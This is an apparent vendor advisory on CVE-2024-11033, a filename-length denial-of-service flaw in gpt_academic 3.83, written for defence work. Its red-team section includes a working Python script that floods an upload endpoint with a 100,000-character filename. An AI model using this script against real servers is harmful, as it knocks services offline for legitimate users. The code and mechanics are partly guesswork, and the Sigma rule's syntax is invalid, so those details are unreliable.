CVE-2024-11033

Executive Summary

CVE-2024-11033 is a Denial of Service (DoS) vulnerability in the file upload feature of binary-husky/gpt_academic version 3.83. The vulnerability stems from improper handling of form-data with an excessively large filename in the file upload request. An attacker can exploit this by sending a payload with an oversized filename, causing the server to become overwhelmed and unavailable for legitimate users. The CVSS score is 6.5 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, indicating a network-based, low-complexity attack with no privileges required and no user interaction, resulting in high availability impact. The EPSS score is 0.0%, suggesting low exploitation likelihood currently. No public proof-of-concept or patch details are available at this time.

Supply Chain & Package Security

This vulnerability affects the Python package gpt_academic (PyPI). Users should monitor for updates from the vendor and consider pinning versions or implementing mitigations until a patch is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - Impact confined to the vulnerable component.
• Confidentiality (C): None (N) - No data exposure.
• Integrity (I): None (N) - No data modification.
• Availability (A): High (H) - Complete denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but currently has low exploitation activity (EPSS 0.0%). However, if exploited, it can cause significant service disruption.

Deep Dive & Mechanics

The vulnerability exists in the file upload endpoint of gpt_academic. When processing multipart/form-data requests, the application does not properly validate the length of the filename field. By sending a request with an extremely long filename (e.g., thousands of characters), the server may allocate excessive memory or CPU resources to parse and store the filename, leading to resource exhaustion and denial of service.

The attack is straightforward: an attacker sends a POST request to the file upload endpoint with a Content-Disposition header containing a filename parameter of excessive length. The server attempts to process this filename, potentially causing buffer overflows, memory exhaustion, or infinite loops in string handling routines.

Vulnerable vs. Patched Code

Vulnerable Code (version 3.83): The file upload handler likely uses a standard library like werkzeug or flask to parse multipart data. Without proper validation, the filename is accepted as-is.

# Vulnerable example (conceptual)
from flask import request

@app.route('/upload', methods=['POST'])
def upload_file():
    file = request.files['file']
    filename = file.filename  # No length validation
    # Process file...

Patched Code (hypothetical): A patch would add validation to limit the filename length.

# Patched example (conceptual)
from flask import request, abort

MAX_FILENAME_LENGTH = 255

@app.route('/upload', methods=['POST'])
def upload_file():
    file = request.files['file']
    filename = file.filename
    if len(filename) > MAX_FILENAME_LENGTH:
        abort(400, "Filename too long")
    # Process file...

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Deploy gpt_academic version 3.83 in a Docker container.
2. Identify the file upload endpoint (e.g., /upload).

Exploitation: Use a simple Python script to send a malicious request.

import requests

url = "http://target:port/upload"
# Generate a filename of 100,000 characters
malicious_filename = "A" * 100000 + ".txt"
files = {'file': (malicious_filename, b'file content', 'text/plain')}
try:
    response = requests.post(url, files=files, timeout=10)
    print(f"Status: {response.status_code}")
except requests.exceptions.Timeout:
    print("Server timed out - likely DoS successful")
except Exception as e:
    print(f"Error: {e}")

Expected Outcome: The server becomes unresponsive or crashes, denying service to legitimate users.

Blue Team (Defender)

Detection:

• Monitor for requests with abnormally long filenames in upload endpoints.
• Use WAF rules to block filenames exceeding a reasonable length (e.g., 255 characters).
• Implement rate limiting on file upload endpoints.

Mitigation:

• Apply input validation on the server side to reject filenames over a threshold.
• Use a reverse proxy (e.g., Nginx) to limit request body size and header sizes.
• Monitor server resource usage (CPU, memory) for anomalies.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /upload with Content-Disposition headers containing filenames > 1000 characters.
  • High volume of requests from a single IP to the upload endpoint.
• System IOCs:
  • Server logs showing OutOfMemoryError or Timeout exceptions.
  • High CPU or memory usage on the application server.
• File IOCs:
  • Temporary files with extremely long names in the upload directory.

Detection Engineering

YARA Rule

rule CVE_2024_11033_DoS_Upload {
    meta:
        description = "Detects attempts to exploit CVE-2024-11033 via oversized filename in upload requests"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "medium"
    strings:
        $filename_long = /filename="[^"]{1000,}"/ nocase
        $content_disposition = "Content-Disposition" nocase
    condition:
        $content_disposition and #filename_long > 0
}

Sigma Rule

title: CVE-2024-11033 DoS via Oversized Filename
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with excessively long filenames in upload endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/upload'
        cs(User-Agent): '*'
    condition: selection and (len(cs(Content-Disposition)) > 1000)
falsepositives:
    - Legitimate large filenames (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11033 DoS Attempt - Oversized Filename in Upload"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"Content-Disposition"; http_header; pcre:"/filename=\"[^\"]{1000,}\"/i"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Mitigation:

   • Implement input validation to limit filename length to 255 characters.
   • Use a Web Application Firewall (WAF) to block requests with filenames exceeding a threshold.
   • Configure reverse proxy (e.g., Nginx) to limit client_header_buffer_size and large_client_header_buffers.

2. Long-term Fix:

   • Apply the vendor patch when available (currently UNKNOWN).
   • Upgrade to a patched version of gpt_academic.
   • Conduct code review to ensure all file upload endpoints validate input.

3. Monitoring:

   • Enable logging of all file upload requests.
   • Set up alerts for abnormal request patterns (e.g., high frequency of uploads from single IP).
   • Monitor server resource usage for signs of DoS.

Valters IT
Securing Digital Frontiers